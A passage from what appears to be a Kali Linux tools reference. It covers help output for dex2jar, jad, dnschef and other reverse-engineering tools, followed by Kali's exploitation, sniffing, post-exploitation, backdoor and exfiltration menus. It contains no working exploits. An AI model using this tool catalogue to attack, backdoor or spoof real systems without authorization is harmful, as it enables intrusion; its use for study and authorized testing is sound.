dex2jar version: translator-0.0.9.15
dex2jar file1.dexORapk file2.dexORapk ...
```

d2j-jasmin2jar – Assemble .j files to .class file

```
root@kali:~# d2j-jasmin2jar -h
d2j-jasmin2jar -- d2j-jasmin2jar - assemble .j files to .class file
usage: d2j-jasmin2jar [options] <dir>
options:
 -e,--encoding <enc>             encoding for .j files, default is UTF-8
 -f,--force                      force overwrite
 -g,--autogenerate-linenumbers   autogenerate-linenumbers
 -h,--help                       Print this help message
```

```
 -o,--output <out-jar-file>      output .jar file, default is $current_dir/[jar-
                              name]-jasmin2jar.jar
version: 0.0.9.15
```
d2j-jar-access – Add or remove class/method/field access in jar file
```
root@kali:~# d2j-jar-access -h
d2j-jar-access -- add or remove class/method/field access in jar file
usage: d2j-jar-access [options] <jar>
options:
 -ac,--add-class-access <ACC>       add access from class
 -af,--add-field-access <ACC>       add access from field
 -am,--add-method-access <ACC>      add access from method
 -f,--force                         force overwrite
 -h,--help                          Print this help message
 -o,--output <out-dir>              output dir of .j files, default is $current_
                                 dir/[jar-name]-access.jar
 -rc,--remove-class-access <ACC>    remove access from class
 -rd,--remove-debug                 remove debug info
 -rf,--remove-field-access <ACC>    remove access from field
 -rm,--remove-method-access <ACC>   remove access from method
version: 0.0.9.15
```
d2j-asm-verify – Verify .class in jar
```
root@kali:~# d2j-asm-verify -h
d2j-asm-verify -- Verify .class in jar
usage: d2j-asm-verify [options] <jar0> [jar1 ... jarN]
options:
 -d,--detail   Print detail error message
 -h,--help     Print this help message
version: 0.0.9.15
```
d2j-dex-dump
```
root@kali:~# d2j-dex-dump -h
Dump in.dexORapk out.dump.jar
```
d2j-init-deobf – Generate an init config file for deObfuscate a jar
```
root@kali:~# d2j-init-deobf -h
d2j-init-deobf -- generate an init config file for deObfuscate a jar
usage: d2j-init-deobf [options] <jar>
options:
 -f,--force                 force overwrite
 -h,--help                  Print this help message
 -max,--max-length <MAX>    do the rename if the length > MIN, default is 40
 -min,--min-length <MIN>    do the rename if the length < MIN, default is 2
 -o,--output <out-file>     output .jar file, default is $current_dir/[file-name]
                         -deobf-init.txt
version: 0.0.9.15
```
d2j-apk-sign – Sign an android apk file use a test certificate
```
root@kali:~# d2j-apk-sign -h
d2j-apk-sign -- Sign an android apk file use a test certificate.
usage: d2j-apk-sign [options] <apk>
options:
 -f,--force                  force overwrite
 -h,--help                   Print this help message
 -o,--output <out-apk-file>   output .apk file, default is $current_dir/[apk-nam
                           e]-signed.apk
 -w,--sign-whole             Sign whole apk file
version: 0.0.9.15
```
d2j-jar2jasmin – Disassemble .class in jar file to jasmin file
```
root@kali:~# d2j-jar2jasmin -h
d2j-jar2jasmin -- Disassemble .class in jar file to jasmin file
usage: d2j-jar2jasmin [options] <jar>
options:
 -d,--debug              disassemble debug info
 -e,--encoding <enc>     encoding for .j files, default is UTF-8
```

```
 -f,--force             force overwrite
 -h,--help              Print this help message
 -o,--output <out-dir>   output dir of .j files, default is $current_dir/[jar-na
                      me]-jar2jasmin/
version: 0.0.9.15
```

d2j-dex2jar Usage Example

```
root@kali:~# d2j-dex2jar /usr/share/metasploit-framework/data/android/apk/classes.dex
dex2jar /usr/share/metasploit-framework/data/android/apk/classes.dex -> classes-dex2jar.jar
```

edb-debugger

Linux equivalent of the famous Olly debugger on the Windows platform. Some of its features are:.

- Intuitive GUI interface
- The usual debugging operations (step-into/step-over/run/break)
- Conditional breakpoints
- Debugging core is implemented as a plugin so people can have drop in replacements. Of course if a given platform has several debugging APIs available, then you may have a plugin that implements any of them.
- Basic instruction analysis
- View/Dump memory regions
- Effective address inspection
- The data dump view is tabbed, allowing you to have several views of memory open at the same time and quickly switch between them.
- Importing and generation of symbol maps
- Plugins

Source: http://www.codef00.com/projects#debugger

flasm and flare

Disassembles your entire SWF including all the timelines and events. Looking at disassembly, you learn how the Flash compiler works, which improves your ActionScript skills. You can also do some optimizations on the disassembled code by hand or adjust the code as you wish. Flasm then applies your changes to the original SWF, replacing original actions. It's also possible to embed Flasm actions in your ActionScript, making optimizing of large projects more comfortable.

Flasm is not a decompiler. What you get is the human readable representation of SWF bytecodes, not ActionScript source. If you're looking for a decompiler, Flare may suit your needs. However, Flare can't alter the SWF.

http://flasm.sourceforge.net/

http://www.nowrap.de/flare.html

jad

A Java decompiler

```
jad -h
Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov (kpdus@yahoo.com).
Usage:    jad [option(s)] <filename(s)>
Options: -a       - generate JVM instructions as comments (annotate)
         -af      - output fully qualified names when annotating
         -b       - generate redundant braces (braces)
         -clear   - clear all prefixes, including the default ones
         -d <dir> - directory for output files
         -dead    - try to decompile dead parts of code (if there are any)
         -dis     - disassembler only (disassembler)
         -f       - generate fully qualified names (fullnames)
         -ff      - output fields before methods (fieldsfirst)
         -i       - print default initializers for fields (definits)
         -l<num>  - split strings into pieces of max <num> chars (splitstr)
         -lnc     - output original line numbers as comments (lnc)
         -lradix<num>- display long integers using the specified radix
         -nl      - split strings on newline characters (splitstr)
```

```
        -noconv  - don't convert Java identifiers into valid ones (noconv)
        -nocast  - don't generate auxiliary casts
        -noclass - don't convert .class operators
        -nocode  - don't generate the source code for methods
        -noctor  - suppress the empty constructors
        -nodos   - turn off check for class files written in DOS mode
        -nofd    - don't disambiguate fields with the same names (nofldis)
        -noinner - turn off the support of inner classes
        -nolvt   - ignore Local Variable Table entries (nolvt)
        -nonlb   - don't insert a newline before opening brace (nonlb)
        -o       - overwrite output files without confirmation
        -p       - send all output to STDOUT (for piping)
        -pa <pfx>- prefix for all packages in generated source files
        -pc <pfx>- prefix for classes with numerical names (default: _cls)
        -pe <pfx>- prefix for unused exception names (default: _ex)
        -pf <pfx>- prefix for fields with numerical names (default: _fld)
        -pi<num> - pack imports into one line using .* (packimports)
        -pl <pfx>- prefix for locals with numerical names (default: _lcl)
        -pm <pfx>- prefix for methods with numerical names (default: _mth)
        -pp <pfx>- prefix for method parms with numerical names (default:_prm)
        -pv<num> - pack fields with the same types into one line (packfields)
        -r       - restore package directory structure
        -radix<num>- display integers using the specified radix (8, 10, or 16)
        -s <ext> - output file extension (default: .jad)
        -safe    - generate additional casts to disambiguate methods/fields
        -space   - output space between keyword (if, while, etc) and expression
        -stat    - show the total number of processed classes/methods/fields
        -t<num>  - use <num> spaces for indentation (default: 4)
        -t       - use tabs instead of spaces for indentation
        -v       - show method names while decompiling
```

jad Usage Example

Decompile the given Java class file *(javaversion.class)*:

```
root@kali:~# jad javaversion.class
Parsing javaversion.class... Generating javaversion.jad
root@kali:~# cat javaversion.jad
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   javaversion.java

import java.io.PrintStream;

public class javaversion
{

    public javaversion()
    {
    }

    public static void main(String args[])
    {
        System.out.println(System.getProperty("java.specification.version"));
    }
}
```

javasnoop (GUI)

Intercept Java applications locally

JavaSnoop attempts to attach to an existing process (like a debugger) and instantly begin tampering with method calls, run custom code, or just watch what's happening on the system.

Normally, without access to the original source code, testing the security of a Java client is unpredictable at best and unrealistic at worst. With access the original source, you can run a simple Java program and attach a

debugger to it remotely, stepping through code and changing variables where needed. Doing the same with an applet is a little bit more difficult.
Unfortunately, real-life scenarios don't offer you this option, anyway. Compilation and decompilation of Java are not really as deterministic as you might imagine. Therefore, you can't just decompile a Java application, run it locally and attach a debugger to it.
Next, you may try to just alter the communication channel between the client and the server, which is where most of the interesting things happen anyway. This works if the client uses HTTP with a configurable proxy. Otherwise, you're stuck with generic network traffic altering mechanisms. These are not so great for almost all cases, because the data is usually not plaintext. It's usually a custom protocol, serialized objects, encrypted, or some combination of those.
JavaSnoop attempts to solve this problem by allowing you attach to an existing process (like a debugger) and instantly begin tampering with method calls, run custom code, or just watch what's happening on the system.
Source: https://code.google.com/p/javasnoop/
www.aspectsecurity.com

NASM shell
http://www.nasm.us/ - Netwide Assembler
Often a MSF plugin - provides an easy way to see what opcodes are associated with certain x86 instructions
ndisasm -b 16 -a -o 0×100

ollydbg
a 32-bit assembler level analysing debugger for Microsoft® Windows®. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable

- Code analysis - traces registers, recognizes procedures, loops, API calls, switches, tables, constants and strings
- Directly loads and debugs DLLs
- Object file scanning - locates routines from object files and libraries
- Allows for user-defined labels, comments and function descriptions
- Understands debugging information in Borland® format
- Saves patches between sessions, writes them back to executable file and updates fixups
- Open architecture - many third-party plugins are available
- No installation - no trash in registry or system directories
- Debugs multithread applications
- Attaches to running programs
- Configurable disassembler, supports both MASM and IDEAL formats
- MMX, 3DNow! and SSE data types and instructions, including Athlon extensions
- Full UNICODE support
- Dynamically recognizes ASCII and UNICODE strings - also in Delphi format!
- Recognizes complex code constructs, like call to jump to procedure
- Decodes calls to more than 1900 standard API and 400 C functions
- Gives context-sensitive help on API functions from external help file
- Sets conditional, logging, memory and hardware breakpoints
- Traces program execution, logs arguments of known functions
- Shows fixups
- Dynamically traces stack frames
- Searches for imprecise commands and masked binary sequences
- Searches whole allocated memory
- Finds references to constant or address range
- Examines and modifies memory, sets breakpoints and pauses program on-the-fly
- Assembles commands into the shortest binary form
- Starts from the floppy disk

radare2
http://radare.org
https://github.com/radare/radare2
Radare is a portable reversing framework that can...

- Disassemble (and assemble for) many different architectures
- Debug with local native and remote debuggers (gdb, rap, webui, r2pipe, winedbg, windbg)
- Run on Linux, *BSD, Windows, OSX, Android, iOS, Solaris and Haiku
- Perform forensics on filesystems and data carving
- Be scripted in Python, Javascript, Go and more
- Support collaborative analysis using the embedded webserver
- Visualize data structures of several file types
- Patch programs to uncover new features or fix vulnerabilities
- Use powerful analysis capabilities to speed up reversing
- Aid in software exploitation

8. Exploitation Tools menu

Main Menu
armitage -
beef xss framework -
ginguma
inguma
metasploit... -
msf payloa...
searchsploit
social engi..
sqlmap
termineter

9. Sniffing and Spoofing menu

Main Menu
bdfproxy
driftnet
ettercap-g... -
hamster
macchanger
mitmproxy
netsniff-ng
responder
wireshark -

Network Sniffers submenu
darkstat
dnschef
dsniff
hexinject
netsniff-ng
nfspy
sslsniff
tcpflow

Spoofing and MITM submenu
dnschef
fiked
nfspy
rebind
sniffjoke

sslsplit
sslstrip
tcpreplay
wifi-honey
yersinia

10. Post Exploitation menu

Main Menu
backdoor-f
bdfproxy
intersect
mimikatz
nishang
powersploit
proxychains
weevely

OS Backdoors submenu
cymothoa
dbd
intersect
powersploit
sbd
u3-pwn

Web Backdoors submenu
laudanum
nishang
webacoo
weevely

Tunneling & Exfiltration submenu
dbd
dns2tcpc
iodine
proxychains
proxytunnel
ptunnel
pwnat
sslh
stunnel4
udptunnel

11. Forensics menu

Main Menu
autopsy -
binwalk
bulk_extra...
chkrootkit
dff
dff gui -
foremost
galleta
hashdeep
volafox
volatility

Digital Forensics submenu
extundelete
missidentity

pdgmail
readpst
reglookup
regripper
vinetto

Forensics Imaging Tools submenu
affcat
dc3dd
dcfldd
ddrescue
ewfacquire
guymanger

Forensic Carving Tools submenu
foremost
magicrescue
pasco
pev
recoverjpeg
rifiuti2
safecopy
scalpel
scrounge-...

PDF Forensics Tools submenu
pdf-parser
pdfid
peepdf

Sleuth Kit Suite submenu
autopsy -
blkcalc
blkcat
blkls
blkstat
ffind
fls
fstat
hfind
icat-sleuth...
ifind
ils-sleuthkit
img_cat
img_stat
istat
jcat
jls
mactime-sl
mmcat
mmls
mmstat
sigfind
sorter
srch_strings
tsk_compa...
tsk_gettim
tsk_loaddb
tsk_recover

12. Reporting Tools menu

Main Menu
casefile
cutycapt
dradis
faraday IDE -
keepnote
magictree
pipal
recordmyd..

13. Social Engineering menu

Main Menu
backdoor-f...
beef-xss fr... -
maltego -
msf payloa... -
social engine.. (SET) -
u3-pwn

14. System Services menu

Main Menu

Found not in the menus but on the Kali tools page:
dotdotpwn
http://tools.kali.org/information-gathering/dotdotpwn
It's a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers, Web platforms such as CMSs, ERPs, Blogs, etc. Also, it has a protocol-independent module to send the desired payload to the host and port specified. On the other hand, it also could be used in a scripting way using the STDOUT module.

DNSChef
DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet.

There are several DNS Proxies out there. Most will simply point all DNS queries a single IP address or implement only rudimentary filtering. DNSChef was developed as part of a penetration test where there was a need for a more configurable system. As a result, DNSChef is cross-platform application capable of forging responses based on inclusive and exclusive domain lists, supporting multiple DNS record types, matching domains with wildcards, proxying true responses for nonmatching domains, defining external configuration files, IPv6 and many other features. You can find detailed explanation of each of the features and suggested uses below.

The use of DNS Proxy is recommended in situations where it is not possible to force an application to use some other proxy server directly. For example, some mobile applications completely ignore OS HTTP Proxy settings. In these cases, the use of a DNS proxy server such as DNSChef will allow you to trick that application into forwarding connections to the desired destination.

Source: http://thesprawl.org/projects/dnschef/
dnschef – DNS proxy for penetration testers
root@kali:~# dnschef -h
Usage: dnschef.py [options]:

DNSChef is a highly configurable DNS Proxy for Penetration Testers and Malware Analysts. It is capable of fine configuration of which DNS replies to modify or to simply proxy with real responses. In order to take advantage of the tool you must either manually configure or poison DNS server entry to point to DNSChef. The tool requires root privileges to run.

```
Options:
  -h, --help            show this help message and exit
  --fakeip=192.168.1.100
                        IP address to use for matching DNS queries. If you use
                        this parameter without specifying domain names, then
                        all queries will be spoofed. Consider using --file
                        argument if you need to define more than one IP
                        address.
  --fakedomains=thesprawl.org,google.com
                        A comma separated list of domain names which will be
                        resolved to a FAKE value specified in the --ip
                        parameter. All other domain names will be resolved to
                        their true values.
  --truedomains=thesprawl.org,google.com
                        A comma separated list of domain names which will be
                        resolved to their TRUE values. All other domain names
                        will be resolved to a fake value specified in the --ip
                        parameter.
  --nameservers=4.2.2.1,4.2.2.2
                        A comma separated list of alternative DNS servers to
                        use with proxied requests. A randomly selected server
                        from the list will be used for proxy requests. By
                        default, the tool uses Google's public DNS server
                        8.8.8.8.
  --file=FILE           Specify a file containing a list of DOMAIN=IP pairs
                        (one pair per line) used for DNS responses. For
                        example: google.com=1.1.1.1 will force all queries to
                        'google.com' to be resolved to '1.1.1.1'. You can be
                        even more specific by combining --file with other
                        arguments. However, data obtained from the file will
                        take precedence over others.
  --interface=0.0.0.0   Define an interface to use for the DNS listener. For
                        example, use 127.0.0.1 to listen for only requests
                        coming from a loopback device.
  --tcp                 Use TCP DNS proxy instead of the default UDP.
  -q, --quiet           Don't show headers.
```

```
root@kali:~# dnschef

          _                _          __
         | | version 0.1  | |        / _|
       __| |_ __  ___  ___| |__   ___| |_
      / _` | '_ \/ __|/ __| '_ \ / _ \  _|
     | (_| | | | \__ \ (__| | | |  __/ |
      \__,_|_| |_|___/\___|_| |_|\___|_|
                   iphelix@thesprawl.org

[*] DNS Chef started on interface: 127.0.0.1
[*] Using the following nameservers: 8.8.8.8
[*] No parameters were specified. Running in full proxy mode
```

https://github.com/percx/Praeda

Praeda is from the same folks who make Medusa- it looks for stuff with multifunction printers